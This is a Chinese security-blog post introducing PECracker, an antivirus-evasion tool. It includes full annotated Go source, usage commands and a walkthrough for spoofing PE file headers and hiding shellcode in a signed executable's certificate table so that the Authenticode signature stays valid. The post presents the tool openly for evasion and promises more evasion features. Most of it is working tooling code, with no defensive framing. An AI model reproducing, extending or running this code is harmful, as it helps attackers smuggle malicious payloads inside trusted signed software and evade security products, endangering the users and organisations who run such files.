长亭百川云 - 文章详情

针对PE文件的高分离的免杀对抗工具-PECracker

md-机器人

158

2024-08-13

作者前言

(这只是一个整合的demo,为了更好的免杀性能,后续会酌情开源)

对于PE头的一些变形技术都比较老了,这次的学习与实践主要是某APT样本用了这保持签名有效的技术,并且支持shellcode的隐藏与识别,可以深挖的花样感觉会很多。

利用哈希校验漏洞感染文件同时不影响签名有效性的POC,在21年就已经披露了,公开利用主要是SigFlip 这个项目。我目前造了一下轮子,后续会持续更新进行攻防对抗。(其实更多是个demo,方便诸位自定义)

后续希望把对于PE文件的利用手法都整合到项目中,因此将项目命名为PECracker。

使用方法

目前实现了文件头伪装(暴力不优雅版)和证书区段数据嵌入,后续继续更新

1.\PECracker.exe
2 (                                         
3 )\ )      (                   )           
4(()/((     )\  (      )     ( /(   (  (    
5 /(_))\  (((_) )(  ( /(  (  )\()) ))\ )(   
6(_))((_) )\___(()\ )(_)) )\((_)\ /((_|()\  
7| _ \ __((/ __|((_|(_)_ ((_) |(_|_))  ((_) 
8|  _/ _| | (__| '_/ _` / _|| / // -_)| '_| 
9|_| |___| \___|_| \__,_\__||_\_\\___||_|   
10                                           
11written by https://github.com/berryalen02/PECracker
12Usage:
13  PECracker.exe [command]
14
15
16Available Commands:
17  crack       针对文件头的crack
18  help        Help about any command
19  replace     文件头替换伪装
20
21
22Flags:
23  -h, --help   help for PECracker.exe

文件头替换

1PECracker.exe replace extract [PE file] [output] [flags]
2PECracker.exe replace [command]

证书区段数据嵌入

1PECracker.exe crack inject [PeFile] [output] [ShellcodeFile] [flags]

效果:


项目地址:

https://github.com/berryalen02/PECracker

加注释版本(本项目为互联网收集, 我不是代码的作者! 请自行判断可用性,别抬杠,如有侵权请回复谢谢!)

1package main
2
3
4import (
5  "crypto/rand"          // 导入用于生成随机数的包
6  "debug/pe"             // 导入用于解析PE文件的包
7  "encoding/binary"      // 导入用于处理二进制数据的包
8  "fmt"                  // 导入用于格式化I/O的包
9  "github.com/spf13/cobra" // 导入cobra库,用于处理命令行参数
10  "io"                   // 导入I/O操作的包
11  "io/ioutil"            // 导入I/O实用工具包
12  "os"                   // 导入操作系统函数的包
13)
14
15
16// check函数用于检查错误,如果出现错误则输出并终止程序
17func check(err error) {
18  if err != nil {
19    fmt.Println("Error:", err)
20    os.Exit(1)
21  }
22}
23
24
25// ExtractPEHeader函数从指定文件中提取PE文件头
26func ExtractPEHeader(filePath string) ([]byte, error) {
27  // 打开指定的PE文件
28  file, err := os.Open(filePath)
29  if err != nil {
30    return nil, err
31  }
32  defer file.Close()
33
34
35  // 解析PE文件
36  peFile, err := pe.NewFile(file)
37  if err != nil {
38    return nil, err
39  }
40  defer peFile.Close()
41
42
43  // 读取DOS头(大小为0x40字节)
44  dosHeader := make([]byte, 0x40)
45  _, err = file.ReadAt(dosHeader, 0)
46  if err != nil {
47    return nil, err
48  }
49
50
51  // 从DOS头中获取PE头的偏移量
52  peHeaderOffset := int64(binary.LittleEndian.Uint32(dosHeader[0x3C:]))
53  // 计算PE头的大小
54  peHeaderSize := peHeaderOffset + int64(peFile.FileHeader.SizeOfOptionalHeader) + 24
55  // 读取PE头
56  peHeader := make([]byte, peHeaderSize)
57  _, err = file.ReadAt(peHeader, 0)
58  if err != nil {
59    return nil, err
60  }
61
62
63  // 返回PE头数据
64  return peHeader, nil
65}
66
67
68// WritePEHeader函数将提取的PE文件头写入到指定路径的文件
69func WritePEHeader(header []byte, outputPath string) error {
70  // 创建输出文件
71  file, err := os.Create(outputPath)
72  if err != nil {
73    return err
74  }
75  defer file.Close()
76
77
78  // 将PE头数据写入文件
79  _, err = file.Write(header)
80  if err != nil {
81    return err
82  }
83
84
85  return nil
86}
87
88
89// ReplacePEHeader函数用新的PE文件头替换目标文件中的PE文件头
90func ReplacePEHeader(targetFilePath string, newHeader []byte) error {
91  // 打开目标文件并准备写入
92  file, err := os.OpenFile(targetFilePath, os.O_RDWR, 0644)
93  if err != nil {
94    return err
95  }
96  defer file.Close()
97
98
99  // 将新的PE头写入文件开头
100  _, err = file.WriteAt(newHeader, 0)
101  if err != nil {
102    return err
103  }
104
105
106  return nil
107}
108
109
110// RandomizeByteAtOffset函数在指定文件的指定偏移位置随机化一个字节
111func RandomizeByteAtOffset(filePath string, offset int64) error {
112  // 打开目标文件并准备写入
113  file, err := os.OpenFile(filePath, os.O_RDWR, 0644)
114  if err != nil {
115    return err
116  }
117  defer file.Close()
118
119
120  // 生成一个随机字节
121  randomByte := make([]byte, 1)
122  _, err = rand.Read(randomByte)
123  if err != nil {
124    return err
125  }
126
127
128  // 将随机字节写入文件指定的偏移位置
129  _, err = file.WriteAt(randomByte, offset)
130  if err != nil {
131    return err
132  }
133
134
135  return nil
136}
137
138
139// GenerateRandomBytes函数生成指定长度的随机字节序列
140func GenerateRandomBytes(length int) ([]byte, error) {
141  bytes := make([]byte, length)
142  _, err := rand.Read(bytes)
143  if err != nil {
144    return nil, err
145  }
146  return bytes, nil
147}
148
149
150// getCertTableSize函数获取PE文件中证书表的虚拟地址和大小
151func getCertTableSize(peFile *pe.File) (uint32, uint32) {
152  // 获取PE文件中的证书表信息
153  certTable := peFile.OptionalHeader.(*pe.OptionalHeader32).DataDirectory[pe.IMAGE_DIRECTORY_ENTRY_SECURITY]
154  return certTable.VirtualAddress, certTable.Size
155}
156
157
158// main函数是程序的入口,定义了各个命令的逻辑
159func main() {
160  // 打印工具的标题信息
161  fmt.Println(" (                                         \n )\\ )      (                   )           \n(()/((     )\\  (      )     ( /(   (  (    \n /(_))\\  (((_) )(  ( /(  (  )\\()) ))\\ )(   \n(_))((_) )\\___(()\\ )(_)) )\\((_)\\ /((_|()\\  \n| _ \\ __((/ __|((_|(_)_ ((_) |(_|_))  ((_) \n|  _/ _| | (__| '_/ _` / _|| / // -_)| '_| \n|_| |___| \\___|_| \\__,_\\__||_\\_\\\\___||_|   \n                                           ")
162  // 打印工具的作者信息
163  fmt.Println("written by https://github.com/berryalen02/PECracker")
164
165
166  // 创建主命令
167  var rootCmd = &cobra.Command{
168    Use: "PECracker.exe",
169    // 禁用默认的completion和help命令
170    CompletionOptions: cobra.CompletionOptions{
171      DisableDefaultCmd: true,
172    },
173  }
174
175
176  // 创建“replace”子命令
177  var replacerCmd = &cobra.Command{
178    Use:   "replace",
179    Short: "文件头替换伪装",
180  }
181
182
183  // 创建“extract”子命令,用于提取PE文件头并保存到output路径
184  var extractCmd = &cobra.Command{
185    Use:   "extract [PE file] [output]",
186    Short: "提取PE文件头并保存到output路径",
187    Args:  cobra.ExactArgs(2),
188    Run: func(cmd *cobra.Command, args []string) {
189      // 提取PE文件头
190      header, err := ExtractPEHeader(args[0])
191      check(err)
192
193
194      // 将PE文件头写入指定的输出路径
195      err = WritePEHeader(header, args[1])
196      check(err)
197
198
199      // 输出成功信息
200      fmt.Println("PE header extracted and written to", args[1])
201    },
202  }
203
204
205  // 创建“import”子命令,用于将指定的PE文件头导入到目标文件中
206  var importCmd = &cobra.Command{
207    Use:   "import [HeaderFile] [target]",
208    Short: "导入文件头并对target文件做替换",
209    Args:  cobra.ExactArgs(2),
210    Run: func(cmd *cobra.Command, args[]string) {
211      // 读取指定的PE文件头
212      header, err := os.ReadFile(args[0])
213      check(err)
214
215
216      // 替换目标文件中的PE文件头
217      err = ReplacePEHeader(args[1], header)
218      check(err)
219
220
221      // 在文件的偏移0x23位置随机化一个字节
222      err = RandomizeByteAtOffset(args[1], 0x23)
223      check(err)
224
225
226      // 输出成功信息
227      fmt.Println("PE header replaced and randomized in", args[1])
228    },
229  }
230
231
232  // 创建“crack”子命令
233  var crackerCmd = &cobra.Command{
234    Use:   "crack",
235    Short: "针对文件头的crack",
236  }
237
238
239  // 创建“inject”子命令,用于将shellcode注入到PE文件中
240  var injectCmd = &cobra.Command{
241    Use:   "inject [PeFile] [output] [ShellcodeFile]",
242    Short: "注入shellcode至PE文件",
243    Args:  cobra.ExactArgs(3),
244    Run: func(cmd *cobra.Command, args []string) {
245      // 打开目标PE文件
246      file, err := os.OpenFile(args[0], os.O_RDWR|os.O_CREATE, 0644)
247      check(err)
248      defer file.Close()
249
250
251      // 解析PE文件
252      peFile, err := pe.NewFile(file)
253      check(err)
254      defer peFile.Close()
255
256
257      // 获取PE文件中证书表的偏移和大小
258      certOffset, certSize := getCertTableSize(peFile)
259
260
261      // 读取shellcode文件
262      shellcode, err := ioutil.ReadFile(args[2])
263      check(err)
264
265
266      // 计算padding大小,确保shellcode对齐到8字节边界
267      paddingSize := 8 - (len(shellcode) % 8)
268      if paddingSize == 8 {
269        paddingSize = 0
270      }
271
272
273      // 创建padding和混淆填充
274      padding := make([]byte, paddingSize)
275      obfusSize := 16
276      obfusPadding := make([]byte, obfusSize)
277      obfusPadding, err = GenerateRandomBytes(obfusSize)
278
279
280      // 准备要嵌入的固定数据
281      embedData := make([]byte, 8)
282      embedData = []byte{0xde, 0xad, 0xbe, 0xef, 0xde, 0xad, 0xbe, 0xef}
283
284
285      // 打开输出文件并准备写入
286      outFile, err := os.OpenFile(args[1], os.O_RDWR|os.O_CREATE, 0644)
287      check(err)
288      defer outFile.Close()
289
290
291      // 将混淆填充、固定数据和shellcode写入到证书表的末尾
292      _, err = outFile.Seek(int64(certOffset+certSize), io.SeekStart)
293      check(err)
294
295
296      _, err = outFile.Write(obfusPadding)
297      check(err)
298      _, err = outFile.Write(embedData)
299      check(err)
300      _, err = outFile.Write(shellcode)
301      check(err)
302      _, err = outFile.Write(padding)
303      check(err)
304
305
306      // 更新证书表大小
307      newCertSize := certSize + uint32(len(shellcode)) + uint32(len(padding)) + uint32(obfusSize) + uint32(len(embedData))
308
309
310      // 从头开始将原始PE文件复制到新文件中
311      _, err = outFile.Seek(0, io.SeekStart)
312      check(err)
313
314
315      file.Seek(0, io.SeekStart)
316      _, err = io.Copy(outFile, file)
317      check(err)
318
319
320      // 更新PE头部中的证书表大小
321      offset := int64(0x19C)
322      buf := make([]byte, 4)
323      binary.LittleEndian.PutUint32(buf, newCertSize)
324      _, err = outFile.Seek(offset, 0)
325      check(err)
326      _, err = outFile.Write(buf)
327      check(err)
328
329
330      // 输出成功信息
331      fmt.Println("PE文件修改成功")
332    },
333  }
334
335
336  // 将子命令添加到主命令中
337  replacerCmd.AddCommand(extractCmd, importCmd)
338  crackerCmd.AddCommand(injectCmd)
339  rootCmd.AddCommand(replacerCmd, crackerCmd)
340
341
342  // 执行主命令
343  rootCmd.Execute()
344}

程序大致流程:

  • 初始化与设置

    • 程序首先导入必要的包,包括处理PE文件、生成随机数、处理二进制数据、进行I/O操作以及管理命令行接口的 cobra 库。
  • main 函数中,程序设置了主命令和多个子命令,定义了每个子命令的功能。

  • 主命令( PECracker.exe

    • 这是程序的入口,用户通过命令行执行主命令,使用不同的子命令来完成不同的任务。
  • 子命令 replace

    • extract :提取指定PE文件的文件头并保存到指定的输出路径。
  • import :将指定的文件头导入到目标PE文件中并进行替换伪装。

  • 这个子命令用于文件头替换伪装,主要包含两个操作:

    1. 调用 ExtractPEHeader 函数从指定PE文件中提取文件头。
  1. 调用 WritePEHeader 函数将提取的文件头保存到指定路径。
    1. 读取指定的文件头。
  1. 使用 ReplacePEHeader 函数将该文件头写入到目标文件中,替换其原始文件头。

  2. 随机化目标文件中的某个字节位置(偏移量为0x23),以增加伪装效果。

  • 子命令 crack

    • 这个子命令包含了 inject 操作,用于将shellcode注入到PE文件中:
    1. 打开并解析PE文件 :程序首先打开并解析目标PE文件,获取其证书表的偏移量和大小。
  1. 读取shellcode :从指定的shellcode文件中读取数据。

  2. 准备注入数据 :程序计算必要的填充(padding)字节,使得shellcode数据对齐到8字节边界。此外,还生成混淆填充数据和固定的嵌入数据。

  3. 注入数据到PE文件 :程序将混淆填充、嵌入数据和shellcode数据写入到PE文件的证书表末尾。

  4. 更新证书表大小 :更新PE文件头中的证书表大小,使其包括注入的shellcode数据。

  5. 保存修改后的文件 :将修改后的PE文件保存到指定的输出路径。

  • 执行命令

    • 用户通过命令行指定子命令来执行对应的操作,程序会根据用户的输入参数调用相应的函数完成任务。
  • 执行的过程包括提取PE文件头、替换文件头、随机化字节、注入shellcode等。

相关推荐
关注或联系我们
添加百川云公众号,移动管理云安全产品
咨询热线:
4000-327-707
百川公众号
百川公众号
百川云客服
百川云客服

Copyright ©2024 北京长亭科技有限公司
icon
京ICP备 2024055124号-2